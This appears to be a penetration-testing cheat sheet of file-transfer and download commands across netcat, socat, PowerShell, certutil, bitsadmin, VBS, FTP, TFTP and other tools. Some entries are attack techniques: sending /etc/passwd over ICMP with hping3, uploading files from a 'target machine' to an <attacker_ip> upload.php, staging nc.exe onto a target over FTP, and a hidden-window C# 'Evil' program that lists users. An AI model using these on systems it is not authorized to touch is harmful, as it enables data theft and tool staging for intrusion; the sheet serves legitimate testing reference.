File Transfers and Downloads

---

I have put together a list of commands that can be used to transfer a file from one device to another. I have also included some commands to create a simple HTTP server for serving files to download. These commands should NEVER BE USED to perform any kind of illegal activities. If you do not have appropriate permissions to move a file then DO NOT TOUCH IT. These file transfer methods should not be considered a secure way of transferring files. Some methods shown below may use encryption. Not all of them do. Use these at your own risk.

Create a Temporary HTTP Server

# PYTHON python -m SimpleHTTPServer 80 python3 -m http.server 80 # PHP php -S 0.0.0.0:80 RUBY ruby -run -e httpd . -p 9000 # -run : This loads un.rb which contains replacements for unix commands # -e Runs the httpd server # . Serves content from current directory # -p defines port to host on BUSYBOX busybox httpd -f -p 10000 # -f runs function httpd # -p is the port to host on

Netcat File Transfer

# Start Receiver netcat -l 1337 > [FileName] # Send File to Receiver netcat -w 2 10.0.0.1 1337 < [FileName] #----------------------------------- # Start Receiver with a progress bar nc -l 1337 | pv > [FileName] # Send File to Receiver nc -w 2 10.0.0.1 1337 < [FileName] #----------------------------------- # Start Receiver nc -l 1337 > folder.tar.gz # Compress directory and send to receiver tar cfvz - folder | netcat -w 2 10.0.0.1 1337 folder.tar.gz # Extract the transfered folder tar xvzf folder.tar.gz #---------------------------------- # Transfer a disk partition # On Receiving Side netcat 1337 -l | bzip2 -d | dd of=/dev/sdb # On Sender side bzip2 -c /dev/sdb1 | netcat 10.0.0.1 1337 # Mount the file to view it mount /dev/sdb /media

Socat File Transfer

# On receiver start your listener socat TCP4-LISTEN:1337,fork file:example.txt # Send file to receiver socat TCP4:10.0.0.1:1337 file:received-example.txt,create #---------------------------------- # Generate a private key (no password) and certificate openssl req -newkey rsa;2048 -nodes -keyout tls-socat.key -x509 -days 365 -out tls-socat.crt # Convert the generated certificates to something socat will accept cat tls-socat.key tls-socat.crt > tls-socat.pem # On receiver start your SSL listener socat -d -d openssl-LISTEN:443,cert=tls-socat.pem,verify=0,fork file:/tmp/example.txt # Send file to receiver socat openssl:10.0.0.1:443,verify=0 file:example.txt,create

PowerShell Copy Files

# SMB METHOD Copy-Item –Path C:\Temp\example.txt –Destination '\\SERVER1\C$' # WINRM METHOD Copy-Item –Path C:\Temp\example.txt –Destination 'C:\' –ToSession (New-PSSession –ComputerName SERVER1) # WINRM w HTTPS METHOD Copy-Item –Path C:\Temp\example.txt –Destination 'C:\' –ToSession (New-PSSession –ComputerName SERVER1.domain.com -UseSSL)

Hping3 File Transfer

# Start receiver hping3 -1 10.0.0.1 -9 signature -I eth0 # Send file using -d <actual file size> hping3 -1 10.0.0.1 -e signature -E /etc/passwd -d 2000

PowerShell Download Files

$Source = 'https://osbornepro.com/example.txt' $Destination = 'C:\Temp\example.txt' # Included Commands Invoke-WebRequest -Uri $Source -Method GET -OutFile $Destination Invoke-RestMethod -Uri $Source -OutFile $Destination Start-BitsTransfer -Source $Source -Destination $Destination # Certutil Method certutil.exe -urlcache -f http://osbornepro.com/example.txt C:\\Temp\\example.txt # Bitsadmin Method bitsadmin /transfer n http://osbornepro.com/example.txt C:\\Temp\\example.txt # NET Objects $WebClient = [System.Net.WebClient]::new() $WebClient.DownloadFile($Source, $Destination) # Create the HTTP client download request $HttpClient = New-Object -TypeName System.Net.Http.HttpClient $Response = $HttpClient.GetAsync($Source) $Response.Wait() $OutputFileStream = [System.IO.FileStream]::new($Destination, [System.IO.FileMode]::Create, [System.IO.FileAccess]::Write) $DownloadTask = $Response.Result.Content.CopyToAsync($OutputFileStream) $DownloadTask.Wait() $OutputFileStream.Close() # VBS Method Set args = Wscript.Arguments Url="https://osbornepro.com/example.txt" dim xHttp: Set xHttp=createobject("Microsoft.XMLHTTP") dim bStrm: Set bStrm=createobject("Adodb.Stream") xHttp.Open "GET", Url, False xHttp.Send with bStrm .type = 1 ' .open .write xHttp.responseBody .savetofile " C:\\Temp\\example.txt", 2 ' end with cscript test.vbs

Create WGET on Windows

echo strUrl = WScript.Arguments.Item(0) > wget.vbs echo StrFile = WScript.Arguments.Item(1) >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs echo Err.Clear >> wget.vbs echo Set http = Nothing >> wget.vbs echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs echo http.Open "GET", strURL, False >> wget.vbs echo http.Send >> wget.vbs echo varByteArray = http.ResponseBody >> wget.vbs echo Set http = Nothing >> wget.vbs echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs echo strData = "" >> wget.vbs echo strBuffer = "" >> wget.vbs echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs echo Next >> wget.vbs echo ts.Close >> wget.vbs

Bash File Transfers

wget https://osbornepro.com/example-txt --no-check-certificate curl -k https://osbornepro.com/example.txt -O /tmp/example.txt

Perl File Transfer

perl use LWP::Simple; getstore("https://osbornepro.com/example.txt", "C:\\Temp\\example.txt");

Python File Transfer

# Requests Method import requests url = 'https://osbornepro.com/example.txt' myfile = requests.get(url, allow_redirects=True) open('C:/Temp/example.txt', 'wb').write(myfile.content) # UrlLib Method urllib.request.urlretrieve('https://osbornepro.com/example.txt', 'C:\\Temp\\example.txt')

Ruby File Transfer

ruby require 'open-uri' download = open('https://osbornepro.com/example.txt') IO.copy_stream(download, '/tmp/example.txt')

PHP File Transfer

# Command to execute the file below php belowFileContents.php #!/usr/bin/php <?php $data = @file("https://osbornepro.com/example.txt"); $lf = "C:\\Temp\\example.txt"; $fh = fopen($lf, 'w'); fwrite($fh, $data[0]); fclose($fh); ?>

Contents of "upload.php" file below

<?php $uploaddir = '/var/www/uploads/'; $uploadfile = $uploaddir . $_FILES['file']['name']; move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile) ?> # Utilize upload.php with below command from target machine to attack machine (New-Object -TypeName System.Net.WebClient).UploadFile("http://<attacker_ip>/upload.php", ".\example.txt")

FTP File Transfer

ftp 10.0.0.1 username password get file exit # OR IF FTPS lftp ftps://username:'Password123!'@10.0.0.1:990 -e "set ssl:verify-certificate false; put -O /example.txt ~/Documents/example.txt; quit" #----------------------------------- # Start FTP server on attack machine systemctl start ftp cp nc.exe /ftphome/nc.exe # On target Windows machine create txt file of ftp commands to download file echo "open <ftp server ip address>" >> ftp.txt echo "USER <username>" >> ftp.txt echo "<password>" >> ftp.txt echo "bin" >> ftp.txt echo "GET nc.exe" >> ftp.txt echo "bye" >> ftp.txt # Perform Non-Interactive Download of netcat ftp -v -n -s:ftp.txt

TFTP File Transfer

tftp -i 10.0.0.1 GET C:\\Temp\\example.txt \TFTPserverFileLocation.txt # OR tftp 10.0.0.1 tftp> get example.txt getting from 10.0.0.1 to C:\\Temp Recived 12345 bytes in 1.5 seconds[12345 bit/s] tftp> quit

CSC Method

# Command to execute the below file csc.exe /out:C:\\Temp\\example.txt C:\\Temp\\filedownload.cs public class Evil { public static void Main() { System.Diagnostics.Process process = new System.Diagnostics.Process(); System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo(); startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden; startInfo.FileName = "cmd.exe"; startInfo.Arguments = "/C net users > C:\\Temp\\users.txt"; process.StartInfo = startInfo; process.Start(); } }